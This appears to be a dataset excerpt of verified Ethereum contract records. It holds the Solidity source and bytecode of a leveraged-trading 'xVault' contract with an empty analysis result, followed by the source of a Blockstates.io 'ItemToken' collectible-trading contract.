https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint value) internal { uint newAllowance = token.allowance(address(this), spender) + value; callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint value) internal { uint newAllowance = token.allowance(address(this), spender) - value; callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface ISushiswapV2Pair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function sync() external; } interface IComptroller { function enterMarkets(address[] memory cTokens) external; function getAllMarkets() external view returns (address[] memory); } interface cyToken { function borrow(uint) external; function mint(uint) external; function redeem(uint) external; function redeemUnderlying(uint) external; function repayBorrow(uint) external; function underlying() external view returns (address); } contract xVault { using SafeERC20 for IERC20; address owner; IComptroller constant COMPTROLLER = IComptroller(0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258); address constant FACTORY = address(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac); address constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // calculates the CREATE2 address for a pair without making any external calls function pairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint160(uint(keccak256(abi.encodePacked( hex'ff', FACTORY, keccak256(abi.encodePacked(token0, token1)), hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash ))))); } function enterMarkets() public { COMPTROLLER.enterMarkets(COMPTROLLER.getAllMarkets()); } function approveMarkets() public { address[] memory _markets = COMPTROLLER.getAllMarkets(); for (uint i = 0; i < _markets.length; i++) { address _underlying = cyToken(_markets[i]).underlying(); IERC20(_underlying).safeApprove(_markets[i], uint(-1)); } } constructor() { owner = msg.sender; enterMarkets(); //approveMarkets(); } function withdraw(address token, uint amount) external { require(owner == msg.sender); IERC20(token).safeTransfer(msg.sender, amount); } function open(address cylong, address long, uint lamt, address cyshort, address short, uint samt, address cymargin, uint mamt) external { require(owner == msg.sender); IERC20(cymargin).safeTransferFrom(msg.sender, address(this), mamt); _borrow(cylong, long, lamt, cyshort, short, samt); } function close(address cyrepay, address repay, uint ramt, address cywithdraw, address uwithdraw, uint wamt) external { require(owner == msg.sender); address tokenB = repay == WETH ? uwithdraw : WETH; ISushiswapV2Pair _pairFrom = ISushiswapV2Pair(pairFor(repay, tokenB)); (uint amount0, uint amount1) = repay < tokenB ? (ramt, uint(0)) : (uint(0), ramt); _pairFrom.swap(amount0, amount1, address(this), abi.encode(cyrepay, repay, ramt, address(_pairFrom), cywithdraw, uwithdraw, wamt, false)); } function _borrow(address cylong, address long, uint lamt, address cyshort, address short, uint samt) internal { (uint amount0, uint amount1) = long < WETH ? (lamt, uint(0)) : (uint(0), lamt); address tokenB = long == WETH ? short : WETH; ISushiswapV2Pair _pairFrom = ISushiswapV2Pair(pairFor(long, tokenB)); _pairFrom.swap(amount0, amount1, address(this), abi.encode(cylong, long, lamt, address(_pairFrom), cyshort, short, samt, true)); } function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external { require(sender == address(this)); (address _cylong, address _long, uint _lamt, address _pairFrom, address _cyshort, address _short, uint _samt, bool _pos) = abi.decode(data, (address, address, uint, address, address, address, uint, bool)); if (_pos) { _open(_cylong, _lamt, _pairFrom, amount0, _short, _long, _samt, _cyshort); } else { _close(_cylong, _lamt, _pairFrom, amount0, _short, _long, _samt, _cyshort); } } function _close(address _cyrepay, uint _ramt, address _pairFrom, uint _amount0, address _withdraw, address _repay, uint _wamt, address _cywithdraw) internal { IERC20(_repay).safeApprove(_cyrepay, 0); IERC20(_repay).safeApprove(_cyrepay, uint(-1)); cyToken(_cyrepay).repayBorrow(_ramt); (uint reserve0, uint reserve1,) = ISushiswapV2Pair(_pairFrom).getReserves(); (uint reserveIn, uint reserveOut) = _amount0 > 0 ? (reserve1, reserve0) : (reserve0, reserve1); uint _minRepay = _getAmountIn(_ramt, reserveIn, reserveOut); if (_withdraw == WETH || _repay == WETH) { require(_minRepay <= _wamt); cyToken(_cywithdraw).redeemUnderlying(_minRepay); IERC20(_withdraw).safeTransfer(address(_pairFrom), _minRepay); } else { _crossClose(_withdraw, _minRepay, _wamt, _cywithdraw, address(_pairFrom)); } } function _open(address _cylong, uint _lamt, address _pairFrom, uint _amount0, address _short, address _long, uint _samt, address _cyshort) internal { IERC20(_long).safeApprove(_cylong, 0); IERC20(_long).safeApprove(_cylong, uint(-1)); cyToken(_cylong).mint(_lamt); (uint reserve0, uint reserve1,) = ISushiswapV2Pair(_pairFrom).getReserves(); (uint reserveIn, uint reserveOut) = _amount0 > 0 ? (reserve1, reserve0) : (reserve0, reserve1); uint _minRepay = _getAmountIn(_lamt, reserveIn, reserveOut); if (_short == WETH || _long == WETH) { require(_minRepay <= _samt); cyToken(_cyshort).borrow(_minRepay); IERC20(_short).safeTransfer(address(_pairFrom), _minRepay); } else { _cross(_short, _minRepay, _samt, _cyshort, address(_pairFrom)); } } function _getShortFall(address _short, ISushiswapV2Pair _pairTo, uint _minWETHRepay) internal view returns (address, uint) { (address token0,) = _short < WETH ? (_short, WETH) : (WETH, _short); (uint reserve0, uint reserve1,) = _pairTo.getReserves(); (uint reserveIn, uint reserveOut) = token0 == _short ? (reserve0, reserve1) : (reserve1, reserve0); return (token0, _getAmountIn(_minWETHRepay, reserveIn, reserveOut)); } function _cross(address _short, uint _minWETHRepay, uint _samt, address _cyshort, address _pairFrom) internal { ISushiswapV2Pair _pairTo = ISushiswapV2Pair(pairFor(_short, WETH)); (address token0, uint _shortPay) = _getShortFall(_short, _pairTo, _minWETHRepay); require(_shortPay <= _samt); cyToken(_cyshort).borrow(_shortPay); (uint amount0, uint amount1) = token0 == _short ? (uint(0), _minWETHRepay) : (_minWETHRepay, uint(0)); IERC20(_short).safeTransfer(address(_pairTo), _shortPay); _pairTo.swap(amount0, amount1, _pairFrom, new bytes(0)); } function _crossClose(address _withdraw, uint _minWETHRepay, uint _wamt, address _cywithdraw, address _pairFrom) internal { ISushiswapV2Pair _pairTo = ISushiswapV2Pair(pairFor(_withdraw, WETH)); (address token0, uint _shortPay) = _getShortFall(_withdraw, _pairTo, _minWETHRepay); require(_shortPay <= _wamt); cyToken(_cywithdraw).redeemUnderlying(_shortPay); (uint amount0, uint amount1) = token0 == _withdraw ? (uint(0), _minWETHRepay) : (_minWETHRepay, uint(0)); IERC20(_withdraw).safeTransfer(address(_pairTo), _shortPay); _pairTo.swap(amount0, amount1, _pairFrom, new bytes(0)); } function execute(address to, uint value, bytes calldata data) external returns (bool, bytes memory) { require(owner == msg.sender); (bool success, bytes memory result) = to.call{value:value}(data); return (success, result); } function _getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { uint numerator = reserveIn * amountOut * 1000; uint denominator = (reserveOut - amountOut) * 997; amountIn = (numerator / denominator) + 1; } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80635f6556e91161005b5780635f6556e9146101605780636c775dac14610168578063b61d27f6146101c1578063f3fef3a3146102c55761007d565b806310d1e85c1461008257806319008bc71461010e578063562ea0e714610158575b600080fd5b61010c6004803603608081101561009857600080fd5b6001600160a01b038235169160208101359160408201359190810190608081016060820135600160201b8111156100ce57600080fd5b8201836020820111156100e057600080fd5b803590602001918460018302840111600160201b8311171561010157600080fd5b5090925090506102f1565b005b61010c600480360360c081101561012457600080fd5b506001600160a01b038135811691602081013582169160408201359160608101358216916080820135169060a001356103a4565b61010c6105a1565b61010c610785565b61010c600480360361010081101561017f57600080fd5b506001600160a01b03813581169160208101358216916040820135916060810135821691608082013581169160a08101359160c0820135169060e0013561094a565b610244600480360360608110156101d757600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561020657600080fd5b82018360208201111561021857600080fd5b803590602001918460018302840111600160201b8311171561023957600080fd5b50909250905061098e565b60405180831515815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610289578181015183820152602001610271565b50505050905090810190601f1680156102b65780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b61010c600480360360408110156102db57600080fd5b506001600160a01b038135169060200135610a1f565b6001600160a01b038516301461030657600080fd5b600080600080600080600080898961010081101561032357600080fd5b506001600160a01b038135811699506020820135811698506040820135975060608201358116965060808201358116955060a082013516935060c0810135925060e001351580159150610385576103808887878f878c888b610a4a565b610395565b6103958887878f878c888b610c44565b50505050505050505050505050565b6000546001600160a01b031633146103bb57600080fd5b60006001600160a01b03861660008051602061170a833981519152146103ef5760008051602061170a8339815191526103f1565b825b905060006103ff8783610e11565b9050600080836001600160a01b0316896001600160a01b03161061042557600088610429565b8760005b91509150826001600160a01b031663022c0d9f8383308e8e8e8a8f8f8f600060405160200180896001600160a01b03168152602001886001600160a01b03168152602001878152602001866001600160a01b03168152602001856001600160a01b03168152602001846001600160a01b031681526020018381526020018215158152602001985050505050505050506040516020818303038152906040526040518563ffffffff1660e01b815260040180858152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561052e578181015183820152602001610516565b50505050905090810190601f16801561055b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561057d57600080fd5b505af1158015610591573d6000803e3d6000fd5b5050505050505050505050505050565b6000733d5bc3c8d13dcb8bf317092d84783c2697ae92586001600160a01b031663b0772d0b6040518163ffffffff1660e01b815260040160006040518083038186803b1580156105f057600080fd5b505afa158015610604573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561062d57600080fd5b8101908080516040519392919084600160201b82111561064c57600080fd5b90830190602082018581111561066157600080fd5b82518660208202830111600160201b8211171561067d57600080fd5b82525081516020918201928201910280838360005b838110156106aa578181015183820152602001610692565b50505050905001604052505050905060005b81518110156107815760008282815181106106d357fe5b60200260200101516001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b15801561071357600080fd5b505afa158015610727573d6000803e3d6000fd5b505050506040513d602081101561073d57600080fd5b505183519091506107789084908490811061075457fe5b6020026020010151600019836001600160a01b0316610ef69092919063ffffffff16565b506001016106bc565b5050565b733d5bc3c8d13dcb8bf317092d84783c2697ae92586001600160a01b031663c2998238733d5bc3c8d13dcb8bf317092d84783c2697ae92586001600160a01b031663b0772d0b6040518163ffffffff1660e01b815260040160006040518083038186803b1580156107f557600080fd5b505afa158015610809573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561083257600080fd5b8101908080516040519392919084600160201b82111561085157600080fd5b90830190602082018581111561086657600080fd5b82518660208202830111600160201b8211171561088257600080fd5b82525081516020918201928201910280838360005b838110156108af578181015183820152602001610897565b505050509050016040525050506040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019060200280838360005b8381101561090b5781810151838201526020016108f3565b5050505090500192505050600060405180830381600087803b15801561093057600080fd5b505af1158015610944573d6000803e3d6000fd5b50505050565b6000546001600160a01b0316331461096157600080fd5b6109766001600160a01b03831633308461100e565b610984888888888888611068565b5050505050505050565b600080546060906001600160a01b031633146109a957600080fd5b600080876001600160a01b0316878787604051808383808284376040519201945060009350909150508083038185875af1925050503d8060008114610a0a576040519150601f19603f3d011682016040523d82523d6000602084013e610a0f565b606091505b5090999098509650505050505050565b6000546001600160a01b03163314610a3657600080fd5b6107816001600160a01b03831633836111b4565b610a5f6001600160a01b038416896000610ef6565b610a756001600160a01b03841689600019610ef6565b876001600160a01b031663a0712d68886040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610abb57600080fd5b505af1158015610acf573d6000803e3d6000fd5b50505050600080876001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610b0f57600080fd5b505afa158015610b23573d6000803e3d6000fd5b505050506040513d6060811015610b3957600080fd5b5080516020909101516001600160701b03918216935016905060008088610b61578383610b64565b82845b915091506000610b758c8484611206565b90506001600160a01b03891660008051602061170a8339815191521480610bb257506001600160a01b03881660008051602061170a833981519152145b15610c375786811115610bc457600080fd5b856001600160a01b031663c5ebeaec826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610c0a57600080fd5b505af1158015610c1e573d6000803e3d6000fd5b50610380925050506001600160a01b038a168c836111b4565b610395898289898f61122e565b610c596001600160a01b038416896000610ef6565b610c6f6001600160a01b03841689600019610ef6565b876001600160a01b0316630e752702886040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610cb557600080fd5b505af1158015610cc9573d6000803e3d6000fd5b50505050600080876001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610d0957600080fd5b505afa158015610d1d573d6000803e3d6000fd5b505050506040513d6060811015610d3357600080fd5b5080516020909101516001600160701b03918216935016905060008088610d5b578383610d5e565b82845b915091506000610d6f8c8484611206565b90506001600160a01b03891660008051602061170a8339815191521480610dac57506001600160a01b03881660008051602061170a833981519152145b15610e045786811115610dbe57600080fd5b856001600160a01b031663852a12e3826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610c0a57600080fd5b610395898289898f61138a565b6000806000836001600160a01b0316856001600160a01b031610610e36578385610e39565b84845b604080516bffffffffffffffffffffffff19606094851b81166020808401919091529390941b9093166034840152805160288185030181526048840182528051908301206001600160f81b0319606885015273302bb91e38d9638984317de928b85ddf3a793cab60621b6069850152607d8401527fe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303609d808501919091528151808503909101815260bd9093019052815191012095945050505050565b801580610f7c575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b158015610f4e57600080fd5b505afa158015610f62573d6000803e3d6000fd5b505050506040513d6020811015610f7857600080fd5b5051155b610fb75760405162461bcd60e51b81526004018080602001828103825260368152602001806117546036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261100990849061140b565b505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261094490859061140b565b60008060008051602061170a8339815191526001600160a01b0388161061109157600086611095565b8560005b909250905060006001600160a01b03881660008051602061170a833981519152146110ce5760008051602061170a8339815191526110d0565b845b905060006110de8983610e11565b604080516001600160a01b038d81166020808401919091528d821683850152606083018d905284821660808085018290528d841660a0860152928c1660c085015260e084018b90526001610100808601919091528551808603909101815261012085019586905263022c0d9f60e01b90955261012484018a815261014485018a9052306101648601819052610184860194855286516101a48701528651979850919663022c0d9f968c968c9694959194926101c4909101918501908083836000831561052e578181015183820152602001610516565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261100990849061140b565b60006103e8838502026103e58584030280828161121f57fe5b04600101925050509392505050565b60006112488660008051602061170a833981519152610e11565b90506000806112588884896115c2565b915091508581111561126957600080fd5b846001600160a01b031663c5ebeaec826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156112af57600080fd5b505af11580156112c3573d6000803e3d6000fd5b50505050600080896001600160a01b0316846001600160a01b0316146112eb578860006112ef565b6000895b90925090506113086001600160a01b038b1686856111b4565b604080516000808252602082019283905263022c0d9f60e01b835260248201858152604483018590526001600160a01b038a81166064850152608060848501908152845160a48601819052918b169563022c0d9f95899589958f9592949093909260c4860192819084908490831561052e578181015183820152602001610516565b60006113a48660008051602061170a833981519152610e11565b90506000806113b48884896115c2565b91509150858111156113c557600080fd5b846001600160a01b031663852a12e3826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156112af57600080fd5b61141d826001600160a01b03166116cd565b61146e576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b600080836001600160a01b0316836040518082805190602001908083835b602083106114ab5780518252601f19909201916020918201910161148c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461150d576040519150601f19603f3d011682016040523d82523d6000602084013e611512565b606091505b509150915081611569576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156109445780806020019051602081101561158557600080fd5b50516109445760405162461bcd60e51b815260040180806020018281038252602a81526020018061172a602a913960400191505060405180910390fd5b6000808060008051602061170a8339815191526001600160a01b038716106115f95760008051602061170a8339815191528661160a565b8560008051602061170a8339815191525b509050600080866001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561164957600080fd5b505afa15801561165d573d6000803e3d6000fd5b505050506040513d606081101561167357600080fd5b5080516020909101516001600160701b0391821693501690506000806001600160a01b03858116908b16146116a95782846116ac565b83835b91509150846116bc898484611206565b965096505050505050935093915050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061170157508115155b94935050505056fe000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a2646970667358221220ad2c0d93c1d2d852063d707caa5755b40c42944a5ac6c9159dff33156cff8bfa64736f6c63430007060033
{"success": true, "error": null, "results": {}}
5,840
0xb75bab60770f91bdb2eb40f2e3663a05ad2090ca
pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ItemToken { using SafeMath for uint256; event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); address private owner; mapping (address => bool) private admins; IItemRegistry private itemRegistry; bool private erc721Enabled = false; uint256 private increaseLimit1 = 0.02 ether; uint256 private increaseLimit2 = 0.5 ether; uint256 private increaseLimit3 = 2.0 ether; uint256 private increaseLimit4 = 5.0 ether; uint256[] private listedItems; mapping (uint256 => address) private ownerOfItem; mapping (uint256 => uint256) private startingPriceOfItem; mapping (uint256 => uint256) private priceOfItem; mapping (uint256 => address) private approvedOfItem; function ItemToken () public { owner = msg.sender; admins[owner] = true; } /* Modifiers */ modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyAdmins() { require(admins[msg.sender]); _; } modifier onlyERC721() { require(erc721Enabled); _; } /* Owner */ function setOwner (address _owner) onlyOwner() public { owner = _owner; } function setItemRegistry (address _itemRegistry) onlyOwner() public { itemRegistry = IItemRegistry(_itemRegistry); } function addAdmin (address _admin) onlyOwner() public { admins[_admin] = true; } function removeAdmin (address _admin) onlyOwner() public { delete admins[_admin]; } // Unlocks ERC721 behaviour, allowing for trading on third party platforms. function enableERC721 () onlyOwner() public { erc721Enabled = true; } /* Withdraw */ /* NOTICE: These functions withdraw the developer's cut which is left in the contract by `buy`. User funds are immediately sent to the old owner in `buy`, no user funds are left in the contract. */ function withdrawAll () onlyOwner() public { owner.transfer(this.balance); } function withdrawAmount (uint256 _amount) onlyOwner() public { owner.transfer(_amount); } /* Listing */ function populateFromItemRegistry (uint256[] _itemIds) onlyOwner() public { for (uint256 i = 0; i < _itemIds.length; i++) { if (priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) { continue; } listItemFromRegistry(_itemIds[i]); } } function listItemFromRegistry (uint256 _itemId) onlyOwner() public { require(itemRegistry != address(0)); require(itemRegistry.ownerOf(_itemId) != address(0)); require(itemRegistry.priceOf(_itemId) > 0); uint256 price = itemRegistry.priceOf(_itemId); address itemOwner = itemRegistry.ownerOf(_itemId); listItem(_itemId, price, itemOwner); } function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner) onlyAdmins() external { for (uint256 i = 0; i < _itemIds.length; i++) { listItem(_itemIds[i], _price, _owner); } } function listItem (uint256 _itemId, uint256 _price, address _owner) onlyAdmins() public { require(_price > 0); require(priceOfItem[_itemId] == 0); require(ownerOfItem[_itemId] == address(0)); ownerOfItem[_itemId] = _owner; priceOfItem[_itemId] = _price; startingPriceOfItem[_itemId] = _price; listedItems.push(_itemId); } /* Buying */ function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) { if (_price < increaseLimit1) { return _price.mul(200).div(95); } else if (_price < increaseLimit2) { return _price.mul(135).div(96); } else if (_price < increaseLimit3) { return _price.mul(125).div(97); } else if (_price < increaseLimit4) { return _price.mul(117).div(97); } else { return _price.mul(115).div(98); } } function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) { if (_price < increaseLimit1) { return _price.mul(5).div(100); // 5% } else if (_price < increaseLimit2) { return _price.mul(4).div(100); // 4% } else if (_price < increaseLimit3) { return _price.mul(3).div(100); // 3% } else if (_price < increaseLimit4) { return _price.mul(3).div(100); // 3% } else { return _price.mul(2).div(100); // 2% } } /* Buy a estate directly from the contract for the calculated price which ensures that the owner gets a profit. All Estates that have been listed can be bought by this method. User funds are sent directly to the previous owner and are never stored in the contract. */ function buy (uint256 _itemId) payable public { require(priceOf(_itemId) > 0); require(ownerOf(_itemId) != address(0)); require(msg.value >= priceOf(_itemId)); require(ownerOf(_itemId) != msg.sender); require(!isContract(msg.sender)); require(msg.sender != address(0)); address oldOwner = ownerOf(_itemId); address newOwner = msg.sender; uint256 price = priceOf(_itemId); uint256 excess = msg.value.sub(price); _transfer(oldOwner, newOwner, _itemId); priceOfItem[_itemId] = nextPriceOf(_itemId); Bought(_itemId, newOwner, price); Sold(_itemId, oldOwner, price); // Devevloper's cut which is left in contract and accesed by // `withdrawAll` and `withdrawAmountTo` methods. uint256 devCut = calculateDevCut(price); // Transfer payment to old owner minus the developer's cut. oldOwner.transfer(price.sub(devCut)); if (excess > 0) { newOwner.transfer(excess); } } /* ERC721 */ function implementsERC721() public view returns (bool _implements) { return erc721Enabled; } function name() public pure returns (string _name) { return "Blockstates.io"; } function symbol() public pure returns (string _symbol) { return "BST"; } function totalSupply() public view returns (uint256 _totalSupply) { return listedItems.length; } function balanceOf (address _owner) public view returns (uint256 _balance) { uint256 counter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { counter++; } } return counter; } function ownerOf (uint256 _itemId) public view returns (address _owner) { return ownerOfItem[_itemId]; } function tokensOf (address _owner) public view returns (uint256[] _tokenIds) { uint256[] memory items = new uint256[](balanceOf(_owner)); uint256 itemCounter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { items[itemCounter] = listedItems[i]; itemCounter += 1; } } return items; } function tokenExists (uint256 _itemId) public view returns (bool _exists) { return priceOf(_itemId) > 0; } function approvedFor(uint256 _itemId) public view returns (address _approved) { return approvedOfItem[_itemId]; } function approve(address _to, uint256 _itemId) onlyERC721() public { require(msg.sender != _to); require(tokenExists(_itemId)); require(ownerOf(_itemId) == msg.sender); if (_to == 0) { if (approvedOfItem[_itemId] != 0) { delete approvedOfItem[_itemId]; Approval(msg.sender, 0, _itemId); } } else { approvedOfItem[_itemId] = _to; Approval(msg.sender, _to, _itemId); } } /* Transferring a country to another owner will entitle the new owner the profits from `buy` */ function transfer(address _to, uint256 _itemId) onlyERC721() public { require(msg.sender == ownerOf(_itemId)); _transfer(msg.sender, _to, _itemId); } function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public { require(approvedFor(_itemId) == msg.sender); _transfer(_from, _to, _itemId); } function _transfer(address _from, address _to, uint256 _itemId) internal { require(tokenExists(_itemId)); require(ownerOf(_itemId) == _from); require(_to != address(0)); require(_to != address(this)); ownerOfItem[_itemId] = _to; approvedOfItem[_itemId] = 0; Transfer(_from, _to, _itemId); } /* Read */ function isAdmin (address _admin) public view returns (bool _isAdmin) { return admins[_admin]; } function startingPriceOf (uint256 _itemId) public view returns (uint256 _startingPrice) { return startingPriceOfItem[_itemId]; } function priceOf (uint256 _itemId) public view returns (uint256 _price) { return priceOfItem[_itemId]; } function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) { return calculateNextPrice(priceOf(_itemId)); } function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice) { return (ownerOf(_itemId), startingPriceOf(_itemId), priceOf(_itemId), nextPriceOf(_itemId)); } function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items) { uint256[] memory items = new uint256[](_take); for (uint256 i = 0; i < _take; i++) { items[i] = listedItems[_from + i]; } return items; } /* Util */ function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } // solium-disable-line return size > 0; } } interface IItemRegistry { function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items); function ownerOf (uint256 _itemId) public view returns (address _owner); function priceOf (uint256 _itemId) public view returns (uint256 _price); }
